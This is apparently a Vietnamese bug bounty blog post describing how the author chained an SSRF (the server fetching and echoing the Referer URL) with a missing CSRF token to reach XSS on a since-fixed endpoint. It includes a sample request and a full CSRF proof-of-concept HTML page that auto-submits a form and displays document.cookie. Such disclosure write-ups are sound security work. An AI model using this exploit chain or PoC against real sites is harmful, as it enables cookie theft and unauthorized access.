Skip to main content

Command Palette

Search for a command to run...

Flexible XSS (3 in 1 Bug) - ngon hơn khi uống với đá

Published
2 min read
N

Lofi Chill In My Veins

Tại sao lại là SSRF-CSRF-XSS(3 in 1) à, vì mình mới kẻ khá dày để viết ra những dòng sảng đá này🤡. Sảng đá thật là vì Chain từ 1 bug SSRF(high)+CSRF(low) để tạo ra XSS.

Bài viết này sẽ thay đổi host và endpoint bị bug

Tản mạn

Một ngày ngáp ngủ thì mình phát hiện ra 1 request dạng như

POST /internal/admin HTTP/1.1
Host: example.com
Referer: http://bxss.me/t/fit.txt%3F.jpg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

Response trả về

aed863c19a6da79816b21429e5bb262daed8

Có thể thấy máy chủ web sẽ lấy nội dung của url ở referer và hiển thị lại cho người dùng. Tất nhiên tới đây, chúng ta dễ dàng có thể kết luận ra SSRF(mình đã scan local và cloud nhưng không nhận đc impact cụ thể nào). Vậy nhưng mình ví tiền rỗng cho mình một ý tưởng táo bạo hơn 🤡.

XSS all the thing

Vì hướng SSRF chưa thể lên được impact high => quyết định của mình là biến nó thành bug XSS. Tuy nhiên từ những cái nhìn đầu tiên thì đây là 1 bug self xss 😒.

Giả thuyết

Khoan. nhưng đây là 1 request post, không có csrf token => có thể tạo 1 CSRF poc để tạo ra referer mình mong muốn. POC sẽ dạng như này

<html>
  <body>
    <script>history.pushState('', '', '/');</script>
    <form id="myForm" action="https://example.com/internal/admin" method="POST" enctype="text/plain">
      <input type="hidden" name="test" value="123" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
        alert('cookie of  '+window.origin+ 'is: '+document.cookie);
        document.getElementById('myForm').submit();
    </script>
  </body>
</html>

Điều khác biệt là CSRF Poc này sẽ có thêm dòng alert('cookie of '+window.origin+ 'is: '+document.cookie); để khi trang web target lấy referer nó sẽ thực thi dòng lệnh đó. Bug này lag ghê.


Nó sẽ kiểu như này(Thành công nâng impact lên high và lỗ hổng đã được fix):

https://drive.google.com/file/d/1Tvfv4yXQoWBAlaUhLX5NMHWbEzyfPY1g/view?usp=drive_link

Tình yêu đầu thật khó quên, bounty đầu cũng vậy. Mong không dừng series ở 1 bài viết 👌

Chơi Bounty đừng để Bounty chơi

Part 1 of 1

=)) Cũng muốn seri này không chỉ dừng lại ở 1 bài viết

More from this blog

NgocKhanh

17 posts

Luck in the rush